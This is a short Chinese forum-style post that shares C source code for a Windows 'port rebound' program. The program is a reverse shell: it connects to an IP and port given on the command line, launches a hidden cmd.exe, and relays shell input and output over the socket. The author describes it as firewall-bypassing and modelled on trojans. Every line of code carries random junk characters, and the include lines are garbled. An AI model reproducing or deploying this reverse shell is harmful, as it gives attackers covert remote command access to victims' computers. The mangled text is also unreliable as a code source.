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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QOEi.b8r  
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/* ============================== p/ xlR[  
Rebound port in Windows NT mDz44XO   
By wind,2006/7 3N$@K"qM#  
===============================*/ "LlQl3"=  
#include &(,\~  
#include ewd eC  
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#pragma comment(lib,"wsock32.lib") QTBc_Z  
VOD-< "|  
void OutputShell(); Awa| (]  
SOCKET sClient; [ne51F5_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }0pp"[JU  
/%g9g_rt#  
void main(int argc,char **argv) _|US`,kfc  
{ 5H.~pc2y  
WSADATA stWsaData; k*?T^<c3  
int nRet; i[9yu-  
SOCKADDR_IN stSaiClient,stSaiServer; B>c$AS\5y  
0F-{YQr>  
if(argc != 3) ;Tnid7:S  
{ />mK.FT  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y f!Oo  
return; eMnK@J  
} d eT<)'"  
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WSAStartup(MAKEWORD(2,2),&stWsaData); lS,Jo/T@  
1v|-+p42  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0&s a#g2  
2|^@=.4\  
stSaiClient.sin_family = AF_INET; ]UUa/ep-  
stSaiClient.sin_port = htons(0); )>{ .t=#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dscah0T  
Rm=p}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %Zk6K!MY#  
{ ;iuwIdo6c  
printf("Bind Socket Failed!\n"); l+@;f(8}  
return; 'Z~ZSu  
} dvjj"F'Bf  
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stSaiServer.sin_family = AF_INET; '27$x&6>S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Op-z"inw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )9"^ D  
^'E^*R  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6}-No  
{ Qz(2Iu{E]  
printf("Connect Error!"); c+3`hVV  
return; QO}~"lMj  
} Q~nVbj?c2v  
OutputShell(); ':pDlUA  
} ,e43m=KhK  
'Wnh1|z  
void OutputShell() $ 6mShp9(  
{ *@''OyL  
char szBuff[1024]; r\Y,*e  
SECURITY_ATTRIBUTES stSecurityAttributes; |gI>Sp%Fu  
OSVERSIONINFO stOsversionInfo; pFS@yHs  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uo >aQk  
STARTUPINFO stStartupInfo; $x'jf?zs!  
char *szShell; pL1ABvBB  
PROCESS_INFORMATION stProcessInformation; ;Va(l$zD  
unsigned long lBytesRead; Q&:)D7m\)S  
: B&~q$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c ^ds|7i]a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1<'z)r4  
stSecurityAttributes.lpSecurityDescriptor = 0; D/Ki^E  
stSecurityAttributes.bInheritHandle = TRUE; /al56n  
]]K?Q )9x  
x9>$197  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); */h(4Hz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a6n@   
> pb}@\;:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y!gPBkG&3n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1"Oe*@`pV  
stStartupInfo.wShowWindow = SW_HIDE; V8 8u -  
stStartupInfo.hStdInput = hReadPipe; &zF>5@fM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n#x_da-m]  
]%D!-[C%1  
GetVersionEx(&stOsversionInfo); Pv5S k8  
F%-@_IsG#  
switch(stOsversionInfo.dwPlatformId) pRV.\*:c  
{ P^<3 Z)L  
case 1: K9EHT-  
szShell = "command.com"; VQpt1cK*  
break; >hNSEWMY`  
default: CWkWW/ZI  
szShell = "cmd.exe"; "}Om0rB}1  
break; 'O)v@p "  
} <@(\z   
):PN0.H8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xF!IT"5D  
"L]v:lg3  
send(sClient,szMsg,77,0); 8*u'D@0  
while(1) w3,KqF  
{ qY8; k #  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >KuNHuHu  
if(lBytesRead) n~6$CQ5dF(  
{ -lJ|x>PG'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &mN]U<N  
send(sClient,szBuff,lBytesRead,0); ,JdBVt  
} 0bh 6ay4  
else Z0Sqw  
{ Z~Q5<A9Jz  
lBytesRead=recv(sClient,szBuff,1024,0); _m?i$5  
if(lBytesRead<=0) break; &6CDIxH{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A[m?^vk q  
} >I@&"&d  
} e">&B]#}  
R?)Yh.vi=t  
return; 5/P. 4<c7  
}
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